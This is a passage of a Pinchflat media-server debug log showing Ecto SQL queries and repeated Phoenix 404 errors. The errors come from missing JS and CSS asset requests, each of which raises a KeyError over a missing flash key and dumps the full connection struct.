m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:25:46.927 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 22:25:46.931 [debug] QUERY OK source="media_items" db=1.2ms idle=9.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:25:46.933 [debug] QUERY OK source="media_items" db=1.5ms queue=0.2ms idle=9.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:25:46.934 [debug] QUERY OK source="tasks" db=0.7ms queue=0.1ms idle=8.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:25:46.935 [debug] QUERY OK source="sources" db=0.5ms idle=8.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 22:25:46.936 [info] Sent 200 in 21ms 22:25:47.189 [info] GET /js/twint_ch.js 22:25:47.190 [debug] QUERY OK source="settings" db=0.6ms idle=263.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:25:47.191 [debug] QUERY OK source="settings" db=0.4ms idle=259.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:25:47.191 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:25:47.192 [error] #PID<0.2843.0> running PinchflatWeb.Endpoint (connection #PID<0.2842.0>, stream id 1) terminated Server: pinchflat.javi.fr:80 (http) Request: GET /js/twint_ch.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /js/twint_ch (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2842.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/twint_ch.js", host: "pinchflat.javi.fr", peer: {{172, 22, 0, 1}, 58898}, bindings: %{}, sock: {{172, 22, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "upgrade", "host" => "pinchflat.javi.fr", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "84.254.106.197", "x-forwarded-proto" => "https", "x-real-ip" => "84.254.106.197" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.javi.fr", method: "GET", owner: #PID<0.2843.0>, params: %{}, path_info: ["js", "twint_ch"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.javi.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 22, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"connection", "upgrade"}, {"host", "pinchflat.javi.fr"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "84.254.106.197"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "84.254.106.197"} ], request_path: "/js/twint_ch.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJIT9Sk_dXgADfUAABlx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2842.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/twint_ch.js", host: "pinchflat.javi.fr", peer: {{172, 22, 0, 1}, 58898}, bindings: %{}, sock: {{172, 22, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "upgrade", "host" => "pinchflat.javi.fr", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "84.254.106.197", "x-forwarded-proto" => "https", "x-real-ip" => "84.254.106.197" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /js/twint_ch (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2842.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/twint_ch.js", host: "pinchflat.javi.fr", peer: {{172, 22, 0, 1}, 58898}, bindings: %{}, sock: {{172, 22, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "upgrade", "host" => "pinchflat.javi.fr", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "84.254.106.197", "x-forwarded-proto" => "https", "x-real-ip" => "84.254.106.197" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.javi.fr", method: "GET", owner: #PID<0.2843.0>, params: %{}, path_info: ["js", "twint_ch"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.javi.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_ (truncated) 22:25:47.454 [info] GET /js/lkk_ch.js 22:25:47.454 [debug] QUERY OK source="settings" db=0.6ms idle=519.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:25:47.455 [debug] QUERY OK source="settings" db=0.4ms idle=519.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:25:47.455 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:25:47.456 [error] #PID<0.2845.0> running PinchflatWeb.Endpoint (connection #PID<0.2844.0>, stream id 1) terminated Server: pinchflat.javi.fr:80 (http) Request: GET /js/lkk_ch.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /js/lkk_ch (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2844.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/lkk_ch.js", host: "pinchflat.javi.fr", peer: {{172, 22, 0, 1}, 58914}, bindings: %{}, sock: {{172, 22, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "upgrade", "host" => "pinchflat.javi.fr", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "84.254.106.197", "x-forwarded-proto" => "https", "x-real-ip" => "84.254.106.197" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.javi.fr", method: "GET", owner: #PID<0.2845.0>, params: %{}, path_info: ["js", "lkk_ch"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.javi.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 22, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"connection", "upgrade"}, {"host", "pinchflat.javi.fr"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "84.254.106.197"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "84.254.106.197"} ], request_path: "/js/lkk_ch.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJIT9Tj82abL3JYAABmB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2844.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/lkk_ch.js", host: "pinchflat.javi.fr", peer: {{172, 22, 0, 1}, 58914}, bindings: %{}, sock: {{172, 22, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "upgrade", "host" => "pinchflat.javi.fr", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "84.254.106.197", "x-forwarded-proto" => "https", "x-real-ip" => "84.254.106.197" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /js/lkk_ch (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2844.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/lkk_ch.js", host: "pinchflat.javi.fr", peer: {{172, 22, 0, 1}, 58914}, bindings: %{}, sock: {{172, 22, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "upgrade", "host" => "pinchflat.javi.fr", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "84.254.106.197", "x-forwarded-proto" => "https", "x-real-ip" => "84.254.106.197" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.javi.fr", method: "GET", owner: #PID<0.2845.0>, params: %{}, path_info: ["js", "lkk_ch"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.javi.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, (truncated) 22:25:47.674 [debug] Current batch of media processed. Will check again in 1000ms 22:25:47.740 [debug] Current batch of media processed. Will check again in 1000ms 22:25:47.802 [info] GET /css/support_parent.css 22:25:47.803 [debug] QUERY OK source="settings" db=0.6ms idle=612.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:25:47.804 [debug] QUERY OK source="settings" db=0.4ms idle=612.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:25:47.804 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:25:47.805 [error] #PID<0.2857.0> running PinchflatWeb.Endpoint (connection #PID<0.2856.0>, stream id 1) terminated Server: pinchflat.javi.fr:80 (http) Request: GET /css/support_parent.css ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /css/support_parent (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2856.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/css/support_parent.css", host: "pinchflat.javi.fr", peer: {{172, 22, 0, 1}, 58978}, bindings: %{}, sock: {{172, 22, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "upgrade", "host" => "pinchflat.javi.fr", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "84.254.106.197", "x-forwarded-proto" => "https", "x-real-ip" => "84.254.106.197" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.javi.fr", method: "GET", owner: #PID<0.2857.0>, params: %{}, path_info: ["css", "support_parent"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.javi.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 22, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"connection", "upgrade"}, {"host", "pinchflat.javi.fr"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "84.254.106.197"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "84.254.106.197"} ], request_path: "/css/support_parent.css", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJIT9U3FoNZDiMkAABmR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2856.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/css/support_parent.css", host: "pinchflat.javi.fr", peer: {{172, 22, 0, 1}, 58978}, bindings: %{}, sock: {{172, 22, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "upgrade", "host" => "pinchflat.javi.fr", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "84.254.106.197", "x-forwarded-proto" => "https", "x-real-ip" => "84.254.106.197" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /css/support_parent (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2856.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/css/support_parent.css", host: "pinchflat.javi.fr", peer: {{172, 22, 0, 1}, 58978}, bindings: %{}, sock: {{172, 22, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "upgrade", "host" => "pinchflat.javi.fr", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "84.254.106.197", "x-forwarded-proto" => "https", "x-real-ip" => "84.254.106.197" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.javi.fr", method: "GET", owner: #PID<0.2857.0>, params: %{}, path_info: ["css", "support_parent"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.javi.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger = (truncated) 22:25:48.675 [debug] Current batch of media processed. Will check again in 1000ms 22:25:48.741 [debug] Current batch of media processed. Will check again in 1000ms 22:25:49.676 [debug] Current batch of media processed. Will check again in 